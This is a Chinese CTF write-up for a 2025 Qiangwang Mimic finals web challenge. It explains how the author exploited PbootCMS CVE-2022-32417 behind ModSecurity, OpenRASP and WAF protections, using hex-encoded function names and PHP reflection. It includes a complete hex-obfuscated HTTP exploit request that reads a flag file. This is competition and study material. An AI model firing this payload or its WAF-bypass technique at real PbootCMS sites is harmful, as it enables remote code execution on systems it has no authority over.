文章总结: 本文记录2025强网拟态决赛云网互联赛道Web层层加码赛题的解题过程。针对Web3.1关卡,利用PbootCMS3.x的CVE-2022-32417漏洞,通过Hex编码绕过安全机制,使用无动作函数读取flag;Web3.2关卡因新增异构机制导致函数名被随机化,通过PHP反射获取完整函数名,在原有POC基础上调整利用链成功读取flag。 综合评分: 71 文章分类: CTF,Web安全,漏洞分析
2025强网拟态决赛唯一解 云网互联赛道-WEB层层加码
原创
ap0s ap0s
ap0s
2026年3月23日 21:59 江苏
在小说阅读器读本章
去阅读
云网互联赛道-WEB层层加码
利用前提: 采用了Web应用异构化架构设计,以及ModSecurity、OpenRASP、Waf的安全防护机制。
web3.1
先从3.1开始看起 因为这个关卡没有异构,只需要绕过其他的三个安全机制即可
使用PbootCMS 3.x 版本 CVE-2022-32417 远程命令执行POC
可以通过hex编码对其进行绕过,然后此关卡需要使用无动作的函数 读取 如show_source,highlight_file等,即可获取flag
web3.2
3.2新增了异构的安全机制,所以使用3.1是利用不通的 经过研究使用php反射可以获取完整函数名
ReflectionClass::export()
这里可以看到函数名受异构影响函数名已经拼接了随机字符串,所以无论如何利用都执行不成功
既然现在知道了问题,所以获取所需要用到的函数,然后在3.1的基础上进行修改即可
GET /?xa=}{pboot{user:password}:if((("\x63\x6f\x72\x65\x5c\x62\x61\x73\x69\x63\x5c\x52\x65\x73\x70\x6f\x6e\x73\x65\x3a\x3a\x6a\x73\x6f\x6e\x55\x37\x6e\x43\x66\x75\x49\x54\x79\x34\x70\x72\x4a\x41\x72\x32\x36")("1",("\x70\x61\x72\x73\x65\x5f\x69\x6e\x66\x6f\x5f\x74\x70\x6c\x55\x37\x6e\x43\x66\x75\x49\x54\x79\x34\x70\x72\x4a\x41\x72\x32\x36")("\x2f\x66\x6c\x61\x67","\x68\x61\x72\x64\x65\x72"))));//)}xxx{/pboot{user:password}:if} HTTP/1.1
Host: 172.29.60.28
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: lg=cn; PbootSystem=
Connection: keep-alive
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:ap0s ap0s ap0s《2025强网拟态决赛唯一解 云网互联赛道-WEB层层加码》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论